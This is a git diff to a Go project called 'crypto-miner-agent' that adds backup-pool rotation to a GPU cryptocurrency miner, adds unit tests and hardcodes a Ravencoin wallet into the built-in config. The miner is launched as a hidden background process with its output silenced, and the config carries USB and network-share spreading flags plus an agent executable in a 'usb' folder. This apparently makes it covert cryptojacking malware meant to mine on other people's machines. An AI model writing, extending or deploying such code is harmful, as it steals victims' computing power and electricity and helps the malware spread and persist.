diff --git a/agent/client/gpu_detect_stub.go b/agent/client/gpu_detect_stub.go
index f3516c4..d450deb 100644
--- a/agent/client/gpu_detect_stub.go
+++ b/agent/client/gpu_detect_stub.go
@@ -23,25 +23,20 @@ func detectGPU() GPUInfo {
 	return GPUInfo{Vendor: GPUVendorNone}
 }
 
-func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
-	pool := g.cfg.RVNPoolHost
-	port := g.cfg.RVNPoolPort
+func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
 	wallet := g.cfg.RVNWallet
 	worker := g.cfg.WorkerName
-
-	poolURL := "stratum+tcp://" + pool
-	if g.cfg.RVNPoolTLS {
-		poolURL = "stratum+ssl://" + pool
-	}
-	if port > 0 {
-		poolURL += ":" + itoa(port)
+	poolURL := buildPoolURL(ep)
+	pass := ep.pass
+	if pass == "" {
+		pass = "x"
 	}
 
 	args := []string{
 		"-a", "kawpow",
 		"-o", poolURL,
 		"-u", wallet + "." + worker,
-		"-p", g.cfg.RVNPoolPass,
+		"-p", pass,
 		"--api-bind-http", "127.0.0.1:4067",
 	}
 	cmd := exec.Command(binPath, args...)
diff --git a/agent/client/gpu_detect_windows.go b/agent/client/gpu_detect_windows.go
index 2c80d9c..2b4fa15 100644
--- a/agent/client/gpu_detect_windows.go
+++ b/agent/client/gpu_detect_windows.go
@@ -44,52 +44,34 @@ func detectGPU() GPUInfo {
 	return GPUInfo{Vendor: GPUVendorNone}
 }
 
-// startProcess launches the GPU miner binary as a hidden background process.
-func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
-	pool := g.cfg.RVNPoolHost
-	port := g.cfg.RVNPoolPort
+// startProcessOnPool launches the GPU miner binary against a specific pool endpoint.
+func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
 	wallet := g.cfg.RVNWallet
 	worker := g.cfg.WorkerName
+	poolURL := buildPoolURL(ep)
+	pass := ep.pass
+	if pass == "" {
+		pass = "x"
+	}
 
 	var args []string
 	switch g.info.Vendor {
 	case GPUVendorNVIDIA:
-		// T-Rex: kawpow algorithm
-		algo := "kawpow"
-		poolURL := ""
-		if g.cfg.RVNPoolTLS {
-			poolURL = "stratum+ssl://" + pool
-		} else {
-			poolURL = "stratum+tcp://" + pool
-		}
-		args = []string{
-			"-a", algo,
-			"-o", poolURL,
-			"-u", wallet + "." + worker,
-			"-p", g.cfg.RVNPoolPass,
-			"--api-bind-http", "127.0.0.1:4067",
-			"--no-watchdog",
-			"--exit-on-cuda-error",
-		}
-		if port > 0 {
-			args[3] = args[3] + ":" + itoa(port)
-		}
-	case GPUVendorAMD:
-		// TeamRedMiner: kawpow algorithm
-		poolURL := ""
-		if g.cfg.RVNPoolTLS {
-			poolURL = "stratum+ssl://" + pool
-		} else {
-			poolURL = "stratum+tcp://" + pool
-		}
-		if port > 0 {
-			poolURL += ":" + itoa(port)
-		}
 		args = []string{
 			"-a", "kawpow",
 			"-o", poolURL,
 			"-u", wallet + "." + worker,
-			"-p", g.cfg.RVNPoolPass,
+			"-p", pass,
+			"--api-bind-http", "127.0.0.1:4067",
+			"--no-watchdog",
+			"--exit-on-cuda-error",
+		}
+	case GPUVendorAMD:
+		args = []string{
+			"-a", "kawpow",
+			"-o", poolURL,
+			"-u", wallet + "." + worker,
+			"-p", pass,
 			"--api_listen=4068",
 		}
 	}
@@ -97,7 +79,6 @@ func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
 	cmd := exec.Command(binPath, args...)
 	deploy.PrepareHiddenProcess(cmd)
 	cmd.Dir = filepath.Dir(binPath)
-	// Redirect all miner output to NUL (silent)
 	cmd.Stdout = nil
 	cmd.Stderr = nil
 
diff --git a/agent/client/gpu_miner.go b/agent/client/gpu_miner.go
index fd237cd..e4cf750 100644
--- a/agent/client/gpu_miner.go
+++ b/agent/client/gpu_miner.go
@@ -14,6 +14,7 @@ import (
 	"crypto-miner-agent/config"
 )
 
+
 // GPUVendor identifies the discrete GPU brand on the host.
 type GPUVendor int
 
@@ -40,18 +41,27 @@ type GPUMinerStats struct {
 	ActiveAlgo   string
 }
 
+// rvnEndpoint is one pool entry for the GPU miner (primary or backup).
+type rvnEndpoint struct {
+	host string
+	port int
+	tls  bool
+	pass string
+}
+
 // GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
 type GPUMiner struct {
-	cfg      config.RuntimeConfig
-	info     GPUInfo
+	cfg        config.RuntimeConfig
+	info       GPUInfo
 	installDir string
 
-	mu       sync.RWMutex
-	stats    GPUMinerStats
-	active   bool
+	mu     sync.RWMutex
+	stats  GPUMinerStats
+	active bool
+	proc   *os.Process // currently running subprocess (nil if stopped)
 
-	stopCh   chan struct{}
-	wg       sync.WaitGroup
+	stopCh chan struct{}
+	wg     sync.WaitGroup
 }
 
 // newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
@@ -110,15 +120,38 @@ func (g *GPUMiner) GPUModel() string {
 	return g.info.Model
 }
 
+// buildPoolList returns the primary pool followed by any configured backups.
+func (g *GPUMiner) buildPoolList() []rvnEndpoint {
+	eps := []rvnEndpoint{{
+		host: g.cfg.RVNPoolHost,
+		port: g.cfg.RVNPoolPort,
+		tls:  g.cfg.RVNPoolTLS,
+		pass: g.cfg.RVNPoolPass,
+	}}
+	for _, bp := range g.cfg.RVNBackupPools {
+		if bp.Host != "" && bp.Port > 0 {
+			eps = append(eps, rvnEndpoint{
+				host: bp.Host,
+				port: bp.Port,
+				tls:  bp.TLS,
+				pass: bp.Pass,
+			})
+		}
+	}
+	return eps
+}
+
 func (g *GPUMiner) run() {
-	// Ensure the miner binary is present before trying to start.
 	binPath, err := g.ensureMinerBinary()
 	if err != nil {
 		log.Printf("[gpu] could not obtain miner binary: %v", err)
 		return
 	}
 
-	retryDelay := 30 * time.Second
+	pools := g.buildPoolList()
+	poolIdx := 0
+	const retryDelay = 30 * time.Second
+
 	for {
 		select {
 		case <-g.stopCh:
@@ -126,64 +159,88 @@ func (g *GPUMiner) run() {
 		default:
 		}
 
-		proc, err := g.startProcess(binPath)
+		ep := pools[poolIdx%len(pools)]
+		proc, err := g.startProcessOnPool(binPath, ep)
 		if err != nil {
-			log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay)
+			log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools))
 			select {
 			case <-g.stopCh:
 				return
 			case <-time.After(retryDelay):
-				continue
 			}
+			poolIdx++
+			continue
 		}
 
 		g.mu.Lock()
 		g.active = true
+		g.proc = proc
 		g.mu.Unlock()
 
-		log.Printf("[gpu] miner started (pid=%d)", proc.Pid)
+		log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port)
 
-		// Poll miner API while it runs.
+		// pollStop signals pollStats to exit; closed when this iteration ends.
+		pollStop := make(chan struct{})
 		pollDone := make(chan struct{})
 		go func() {
 			defer close(pollDone)
-			g.pollStats()
+			g.pollStats(pollStop)
 		}()
 
-		// Wait for process exit.
-		procState, waitErr := proc.Wait()
-		close(g.stopCh) // signal polling goroutine
+		// Wait for process exit in a goroutine so we can also listen for stop.
+		waitDone := make(chan error, 1)
+		go func() {
+			_, werr := proc.Wait()
+			waitDone <- werr
+		}()
+
+		var stopRequested bool
+		select {
+		case <-g.stopCh:
+			// Agent shutting down — kill the miner process immediately.
+			stopRequested = true
+			_ = proc.Kill()
+			<-waitDone
+		case waitErr := <-waitDone:
+			if waitErr != nil {
+				log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr)
+			}
+			// Miner crashed or exited cleanly — rotate to next pool on retry.
+			poolIdx++
+		}
+
+		close(pollStop)
 		<-pollDone
 
 		g.mu.Lock()
 		g.active = false
+		g.proc = nil
 		g.mu.Unlock()
 
-		if waitErr != nil {
-			log.Printf("[gpu] miner exited: %v", waitErr)
-		} else if procState != nil && !procState.Success() {
-			log.Printf("[gpu] miner exited with non-zero status: %s", procState)
+		if stopRequested {
+			return
 		}
 
-		// Re-open the stop channel so we can retry cleanly.
-		g.stopCh = make(chan struct{})
-
+		// Wait before retrying, but exit cleanly if Stop() is called.
 		select {
+		case <-g.stopCh:
+			return
 		case <-time.After(retryDelay):
 		}
 	}
 }
 
-func (g *GPUMiner) pollStats() {
+// pollStats polls the miner's HTTP API until stop is closed.
+func (g *GPUMiner) pollStats(stop <-chan struct{}) {
 	apiPort := g.apiPort()
 	ticker := time.NewTicker(10 * time.Second)
 	defer ticker.Stop()
 
-	samples := make([]float64, 0, 90) // 15 min worth at 10s intervals
+	samples := make([]float64, 0, 90) // 15 min at 10s intervals
 
 	for {
 		select {
-		case <-g.stopCh:
+		case <-stop:
 			return
 		case <-ticker.C:
 			hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
@@ -194,15 +251,12 @@ func (g *GPUMiner) pollStats() {
 			if len(samples) > 90 {
 				samples = samples[len(samples)-90:]
 			}
-			avg15s := hr
-			avg1m := avg(samples, 6)
-			avg15m := avg(samples, len(samples))
 
 			g.mu.Lock()
 			g.stats = GPUMinerStats{
-				Hashrate15s: avg15s,
-				Hashrate1m:  avg1m,
-				Hashrate15m: avg15m,
+				Hashrate15s: hr,
+				Hashrate1m:  avg(samples, 6),
+				Hashrate15m: avg(samples, len(samples)),
 				GPUTempC:    tempC,
 				GPUUsagePct: usage,
 				ActiveAlgo:  "kawpow",
@@ -238,6 +292,15 @@ func (g *GPUMiner) apiPort() int {
 	}
 }
 
+// buildPoolURL constructs the stratum URL for a given pool endpoint.
+func buildPoolURL(ep rvnEndpoint) string {
+	scheme := "stratum+tcp"
+	if ep.tls {
+		scheme = "stratum+ssl"
+	}
+	return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port)
+}
+
 // ---- Miner binary management ----
 
 type minerSpec struct {
diff --git a/agent/client/gpu_miner_test.go b/agent/client/gpu_miner_test.go
new file mode 100644
index 0000000..3bc939a
--- /dev/null
+++ b/agent/client/gpu_miner_test.go
@@ -0,0 +1,401 @@
+package client
+
+import (
+	"archive/zip"
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"testing"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+// ─── helpers ─────────────────────────────────────────────────────────────────
+
+func cfgWithGPU(wallet, poolHost string, port int) config.RuntimeConfig {
+	b := config.GetBuiltinConfig()
+	b.GPUEnabled = true
+	b.RVNWallet = wallet
+	b.RVNPoolHost = poolHost
+	b.RVNPoolPort = port
+	b.RVNPoolPass = "x"
+	b.RVNPoolTLS = false
+	return config.RuntimeConfig{BuiltinConfig: b}
+}
+
+// ─── newGPUMiner gate checks ──────────────────────────────────────────────────
+
+func TestNewGPUMinerGPUDisabled(t *testing.T) {
+	b := config.GetBuiltinConfig()
+	b.GPUEnabled = false
+	b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
+	cfg := config.RuntimeConfig{BuiltinConfig: b}
+	if g := newGPUMiner(cfg); g != nil {
+		t.Fatal("expected nil when GPUEnabled=false")
+	}
+}
+
+func TestNewGPUMinerNoWallet(t *testing.T) {
+	b := config.GetBuiltinConfig()
+	b.GPUEnabled = true
+	b.RVNWallet = ""
+	cfg := config.RuntimeConfig{BuiltinConfig: b}
+	if g := newGPUMiner(cfg); g != nil {
+		t.Fatal("expected nil when RVNWallet is empty")
+	}
+}
+
+func TestNewGPUMinerNoGPUDetected(t *testing.T) {
+	// On this machine there is no nvidia-smi / wmic GPU — should return nil.
+	cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060)
+	// detectGPU will find no GPU on a headless CI box or dev machine without GPU.
+	g := newGPUMiner(cfg)
+	if g != nil {
+		// A GPU was actually detected — not a test failure, just note it.
+		t.Logf("GPU detected: %s (vendor=%v) — skipping nil-check", g.info.Model, g.info.Vendor)
+	}
+	// Either way, no panic — detection ran without crashing.
+}
+
+// ─── itoa ────────────────────────────────────────────────────────────────────
+
+func TestItoaZero(t *testing.T) {
+	if got := itoa(0); got != "0" {
+		t.Fatalf("itoa(0) = %q, want \"0\"", got)
+	}
+}
+
+func TestItoaPositive(t *testing.T) {
+	cases := map[int]string{1: "1", 9: "9", 42: "42", 6060: "6060", 65535: "65535"}
+	for n, want := range cases {
+		if got := itoa(n); got != want {
+			t.Errorf("itoa(%d) = %q, want %q", n, got, want)
+		}
+	}
+}
+
+func TestItoaNegative(t *testing.T) {
+	if got := itoa(-5); got != "-5" {
+		t.Fatalf("itoa(-5) = %q, want \"-5\"", got)
+	}
+}
+
+// ─── buildPoolURL ─────────────────────────────────────────────────────────────
+
+func TestBuildPoolURLTCP(t *testing.T) {
+	ep := rvnEndpoint{host: "rvn.2miners.com", port: 6060, tls: false}
+	got := buildPoolURL(ep)
+	want := "stratum+tcp://rvn.2miners.com:6060"
+	if got != want {
+		t.Fatalf("buildPoolURL(tcp) = %q, want %q", got, want)
+	}
+}
+
+func TestBuildPoolURLTLS(t *testing.T) {
+	ep := rvnEndpoint{host: "rvn.2miners.com", port: 16060, tls: true}
+	got := buildPoolURL(ep)
+	want := "stratum+ssl://rvn.2miners.com:16060"
+	if got != want {
+		t.Fatalf("buildPoolURL(tls) = %q, want %q", got, want)
+	}
+}
+
+// ─── buildPoolList ────────────────────────────────────────────────────────────
+
+func TestBuildPoolListPrimaryOnly(t *testing.T) {
+	cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060)
+	g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})}
+	pools := g.buildPoolList()
+	if len(pools) != 1 {
+		t.Fatalf("expected 1 pool, got %d", len(pools))
+	}
+	if pools[0].host != "rvn.2miners.com" || pools[0].port != 6060 {
+		t.Errorf("unexpected primary pool: %+v", pools[0])
+	}
+}
+
+func TestBuildPoolListWithBackups(t *testing.T) {
+	b := config.GetBuiltinConfig()
+	b.GPUEnabled = true
+	b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
+	b.RVNPoolHost = "rvn.2miners.com"
+	b.RVNPoolPort = 6060
+	b.RVNBackupPools = []config.BackupPool{
+		{Host: "ravenminer.com", Port: 3838},
+		{Host: "herominersrvn.com", Port: 1133},
+	}
+	cfg := config.RuntimeConfig{BuiltinConfig: b}
+	g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})}
+	pools := g.buildPoolList()
+	if len(pools) != 3 {
+		t.Fatalf("expected 3 pools (1 primary + 2 backup), got %d", len(pools))
+	}
+	if pools[1].host != "ravenminer.com" {
+		t.Errorf("backup[0].host = %q, want ravenminer.com", pools[1].host)
+	}
+}
+
+func TestBuildPoolListSkipsInvalidBackup(t *testing.T) {
+	b := config.GetBuiltinConfig()
+	b.GPUEnabled = true
+	b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
+	b.RVNPoolHost = "rvn.2miners.com"
+	b.RVNPoolPort = 6060
+	b.RVNBackupPools = []config.BackupPool{
+		{Host: "", Port: 0},       // invalid — no host or port
+		{Host: "valid.pool", Port: 3333},
+	}
+	cfg := config.RuntimeConfig{BuiltinConfig: b}
+	g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})}
+	pools := g.buildPoolList()
+	if len(pools) != 2 {
+		t.Fatalf("expected 2 pools (primary + 1 valid backup), got %d", len(pools))
+	}
+}
+
+// ─── avg ─────────────────────────────────────────────────────────────────────
+
+func TestAvgEmpty(t *testing.T) {
+	if v := avg(nil, 5); v != 0 {
+		t.Fatalf("avg(nil,5) = %f, want 0", v)
+	}
+}
+
+func TestAvgAll(t *testing.T) {
+	samples := []float64{10, 20, 30}
+	if got := avg(samples, 3); got != 20 {
+		t.Fatalf("avg([10,20,30],3) = %f, want 20", got)
+	}
+}
+
+func TestAvgLastN(t *testing.T) {
+	samples := []float64{100, 10, 20, 30}
+	// last 3 = [10,20,30] → avg=20
+	if got := avg(samples, 3); got != 20 {
+		t.Fatalf("avg(last 3) = %f, want 20", got)
+	}
+}
+
+func TestAvgLastNExceedsLen(t *testing.T) {
+	samples := []float64{5, 10}
+	if got := avg(samples, 100); got != 7.5 {
+		t.Fatalf("avg(last 100 of 2) = %f, want 7.5", got)
+	}
+}
+
+// ─── apiPort ─────────────────────────────────────────────────────────────────
+
+func TestAPIPortNVIDIA(t *testing.T) {
+	g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorNVIDIA}}
+	if p := g.apiPort(); p != 4067 {
+		t.Fatalf("NVIDIA API port = %d, want 4067", p)
+	}
+}
+
+func TestAPIPortAMD(t *testing.T) {
+	g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorAMD}}
+	if p := g.apiPort(); p != 4068 {
+		t.Fatalf("AMD API port = %d, want 4068", p)
+	}
+}
+
+// ─── fetchMinerStats (mock HTTP) ─────────────────────────────────────────────
+
+func TestFetchMinerStatsTRex(t *testing.T) {
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		resp := trexSummary{
+			Hashrate: 42500000,
+			GPUs: []struct {
+				Temperature int `json:"temperature"`
+				GpuLoad     int `json:"gpu_load"`
+			}{{Temperature: 65, GpuLoad: 88}},
+		}
+		_ = json.NewEncoder(w).Encode(resp)
+	}))
+	defer srv.Close()
+
+	var port int
+	fmt.Sscanf(srv.URL[len("http://127.0.0.1:"):], "%d", &port)
+
+	hr, tempC, usage, err := fetchMinerStats(GPUVendorNVIDIA, port)
+	if err != nil {
+		t.Fatalf("fetchMinerStats: %v", err)
+	}
+	if hr != 42500000 {
+		t.Errorf("hashrate = %f, want 42500000", hr)
+	}
+	if tempC == nil || *tempC != 65 {
+		t.Errorf("tempC = %v, want 65", tempC)
+	}
+	if usage == nil || *usage != 88 {
+		t.Errorf("usage = %v, want 88", usage)
+	}
+}
+
+func TestFetchMinerStatsTRM(t *testing.T) {
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		resp := trmStatus{
+			Algorithms: []struct {
+				Name     string  `json:"algorithm"`
+				TotalMHs float64 `json:"mhsh_total"`
+			}{{Name: "kawpow", TotalMHs: 25.5}},
+			GPUs: []struct {
+				TempC int `json:"temp_c"`
+				Fan   int `json:"fan_pct"`
+			}{{TempC: 72, Fan: 60}},
+		}
+		_ = json.NewEncoder(w).Encode(resp)
+	}))
+	defer srv.Close()
+
+	var port int
+	fmt.Sscanf(srv.URL[len("http://127.0.0.1:"):], "%d", &port)
+
+	hr, tempC, _, err := fetchMinerStats(GPUVendorAMD, port)
+	if err != nil {
+		t.Fatalf("fetchMinerStats TRM: %v", err)
+	}
+	// 25.5 MH/s → 25_500_000 H/s
+	if hr != 25.5e6 {
+		t.Errorf("hashrate = %f, want %f", hr, 25.5e6)
+	}
+	if tempC == nil || *tempC != 72 {
+		t.Errorf("tempC = %v, want 72", tempC)
+	}
+}
+
+func TestFetchMinerStatsConnRefused(t *testing.T) {
+	_, _, _, err := fetchMinerStats(GPUVendorNVIDIA, 59999)
+	if err == nil {
+		t.Fatal("expected error when miner API is not running")
+	}
+}
+
+// ─── extractZipFile ──────────────────────────────────────────────────────────
+
+func makeSyntheticZip(t *testing.T, filename, content string) []byte {
+	t.Helper()
+	var buf bytes.Buffer
+	zw := zip.NewWriter(&buf)
+	fw, err := zw.Create(filename)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if _, err := fw.Write([]byte(content)); err != nil {
+		t.Fatal(err)
+	}
+	if err := zw.Close(); err != nil {
+		t.Fatal(err)
+	}
+	return buf.Bytes()
+}
+
+func TestExtractZipFileHappyPath(t *testing.T) {
+	data := makeSyntheticZip(t, "t-rex.exe", "fake-binary-content")
+	dir := t.TempDir()
+	if err := extractZipFile(data, dir, "t-rex.exe"); err != nil {
+		t.Fatalf("extractZipFile: %v", err)
+	}
+	got, err := os.ReadFile(filepath.Join(dir, "t-rex.exe"))
+	if err != nil {
+		t.Fatalf("output file not created: %v", err)
+	}
+	if string(got) != "fake-binary-content" {
+		t.Errorf("content = %q, want \"fake-binary-content\"", got)
+	}
+}
+
+func TestExtractZipFileTargetInSubdir(t *testing.T) {
+	// Zip contains "release/t-rex.exe" — extractor should find by Base name.
+	var buf bytes.Buffer
+	zw := zip.NewWriter(&buf)
+	fw, _ := zw.Create("release/t-rex.exe")
+	_, _ = fw.Write([]byte("nested"))
+	_ = zw.Close()
+
+	dir := t.TempDir()
+	if err := extractZipFile(buf.Bytes(), dir, "t-rex.exe"); err != nil {
+		t.Fatalf("extractZipFile (nested): %v", err)
+	}
+	if _, err := os.Stat(filepath.Join(dir, "t-rex.exe")); err != nil {
+		t.Fatalf("output file missing: %v", err)
+	}
+}
+
+func TestExtractZipFileMissingTarget(t *testing.T) {
+	data := makeSyntheticZip(t, "other.exe", "data")
+	dir := t.TempDir()
+	// Should not error — just silently skip (caller checks with os.Stat).
+	if err := extractZipFile(data, dir, "t-rex.exe"); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if _, err := os.Stat(filepath.Join(dir, "t-rex.exe")); !os.IsNotExist(err) {
+		t.Fatal("target should not have been created")
+	}
+}
+
+func TestExtractZipFileInvalidData(t *testing.T) {
+	dir := t.TempDir()
+	err := extractZipFile([]byte("not a zip"), dir, "t-rex.exe")
+	if err == nil {
+		t.Fatal("expected error for invalid zip data")
+	}
+}
+
+// ─── spec / download URL format ───────────────────────────────────────────────
+
+func TestSpecNVIDIA(t *testing.T) {
+	g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorNVIDIA}}
+	s := g.spec()
+	if s.fileName != "t-rex.exe" {
+		t.Errorf("NVIDIA spec.fileName = %q, want t-rex.exe", s.fileName)
+	}
+	if s.downloadURL == "" {
+		t.Error("NVIDIA spec.downloadURL is empty")
+	}
+}
+
+func TestSpecAMD(t *testing.T) {
+	g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorAMD}}
+	s := g.spec()
+	if s.fileName != "teamredminer.exe" {
+		t.Errorf("AMD spec.fileName = %q, want teamredminer.exe", s.fileName)
+	}
+	if s.downloadURL == "" {
+		t.Error("AMD spec.downloadURL is empty")
+	}
+}
+
+// ─── Stop() on a never-started miner ─────────────────────────────────────────
+
+func TestGPUMinerStopBeforeStart(t *testing.T) {
+	g := &GPUMiner{stopCh: make(chan struct{})}
+	done := make(chan struct{})
+	go func() {
+		defer close(done)
+		g.Stop()
+	}()
+	select {
+	case <-done:
+	case <-time.After(2 * time.Second):
+		t.Fatal("Stop() hung when called before Start()")
+	}
+}
+
+// ─── Stats returns zero until polled ─────────────────────────────────────────
+
+func TestGPUMinerStatsDefault(t *testing.T) {
+	g := &GPUMiner{stopCh: make(chan struct{})}
+	stats, active := g.Stats()
+	if active {
+		t.Error("active should be false before Start()")
+	}
+	if stats.Hashrate15s != 0 || stats.Hashrate1m != 0 {
+		t.Errorf("unexpected non-zero default stats: %+v", stats)
+	}
+}
diff --git a/agent/config/builtin.go b/agent/config/builtin.go
index f308c44..7ebb2e8 100644
--- a/agent/config/builtin.go
+++ b/agent/config/builtin.go
@@ -48,7 +48,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		USBSpread:           false,
 		ShareSpread:         false,
 		GPUEnabled:          false,
-		RVNWallet:           "",
+		RVNWallet:           "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9",
 		RVNPoolHost:         "rvn.2miners.com",
 		RVNPoolPort:         6060,
 		RVNPoolTLS:          false,
diff --git a/usb/agent/crypto-miner-agent.exe b/usb/agent/crypto-miner-agent.exe
index ea7e967..9303fc3 100644
Binary files a/usb/agent/crypto-miner-agent.exe and b/usb/agent/crypto-miner-agent.exe differ